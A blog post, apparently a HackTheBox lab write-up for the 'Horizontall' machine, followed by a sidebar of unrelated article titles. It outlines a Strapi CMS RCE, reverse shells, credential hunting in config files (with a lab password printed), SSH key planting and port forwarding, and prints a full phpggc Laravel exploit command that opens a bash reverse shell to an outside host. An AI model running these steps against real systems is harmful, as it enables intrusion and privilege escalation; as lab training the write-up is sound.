当前位置:网站首页>HackTheBox | Horizontall
HackTheBox | Horizontall
2022-08-08 13:34:00 【xxL7-】
Horizontall
nmap scan, open 22, 80, 80 corresponding sites http://horizontall.htb
Visit 80
dirsearch scans, also nothing
After watching wp, I found that there is a new domain name in the js file of the response, although I still can't find it
Visit http://api-prod.horizontall.htb/
Find an admin path, jump to the authentication page after visiting, and use strapi
CMS
The familiar routine is Google exp, and then I found RCE
Use the script, successful RCE, but no echo
Rebound shell directly
Check /etc/passwd and see developer
user
strapi users can directly read user.txt in the developer user's home directory
Check local, there is MySQL
Try to find the MySQL database login method, find a bunch of account passwords in database.json
under /opt/strapi/myapi/config/environments/development
>developer/#J!:F9Zt2u
But this password cannot log in to the developer's ssh, so start with the database.Finally, the ciphertext value of strapi's administrator password is found in the database.
John's blasting didn't come out
Reviewing the previous content, I found that 1337
and 8000
are also open locally.Detect the services of these two ports and find that 8000 is open Lavarel
.
Write ssh public key for later port forwarding
Local ssh-keygen
generates id_rsa.pub
, and then writes the content of id_rsa.pub
to in the strapi home directory.ssh/authorized_keys
in
Set up ssh port forwarding locally, forward 127.0.0.1:8000
on the 10.10.11.105 host to the local port 8000
When I visit the local 8000 again, I access the Laravel service on port 8000 of 10.10.11.105, the version is v8
Laravel has CVE, which was used in a previous question, so I directly found exp to use it
https://github.com/ambionics/laravel-exploits
Get root privileges directly
Bounce shell
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/1234 0>&1'"
边栏推荐
- 用 Antlr 重构脚本解释器
- "Huashu Cup" modeling learning (Matlab)
- Knowledge points and written test questions related to shift operations, bit operations, and logical operations
- 医药行业转型发展,探索数字化供应链升级之道
- KD-SCFNet:通过知识蒸馏实现更准确、更高效的显着目标检测(ECCV2022)
- 译文推荐|深入解析 BookKeeper 协议模型与验证
- [界面开发]DevExpress WinForms流程图控件——XtraDiagrams组件入门指南
- Kotlin系列之let、with、run、apply、also函数的使用
- 程序员必备的VS调试技巧
- 2022-08-03
猜你喜欢
MySQL:索引(1)原理与底层结构
用 Antlr 重构脚本解释器
Pretraining Weekly Issue 56: Long Text Understanding, Instant Question Answering, Mask Self-Supervision
医药行业转型发展,探索数字化供应链升级之道
qsort 函数的使用及其模拟实现
Jenkins - 持续集成介绍(1)
win32&mfc————win32菜单栏&库
Doris学习笔记之优化
The use of string function, character function, memory function and its analog implementation
自动当道,效率至上 | 快来解锁财务共享服务中心数字化秘籍
随机推荐
logistic回归模型—基于R
OpenInfra Days China 2022 |StreamNative 翟佳、刘德志受邀分享
第十二届蓝桥杯《杨辉三角》-二分法
Tsinghua | GLM-130B: An Open Bilingual Pre-training Model
ctfshow 七夕杯(复现)
一名合格的程序员是如何优雅地解决线上问题的?
南非 KMP 媒体集团实施了 DMS(文档管理系统)使流程数字化,员工可以再次专注于他们的实际任务,提供了效率
(8) FlinkSQL custom UDF
textarea 禁止拖拽
C language small project - complete code of minesweeper game (recursive expansion + selection mark)
R语言ggplot2可视化:基于aes函数中的fill参数和shape参数自定义绘制分组折线图并添加数据点(散点)、设置可视化图像的主题为theme_gray
textarea disable drag and drop
Flink1.15源码阅读——StreamGraph流图
The use of qsort function and its analog implementation
MySQL:锁机制 |表级锁、行级锁 | 排它锁、共享锁 | 间隙锁
6. [opencv mouse callback event]
字符串函数、字符函数、内存函数的使用及其模拟实现
serialize 序列化原生方法
OFD是什么
(4)FlinkSQL将socket数据写入到mysql方式一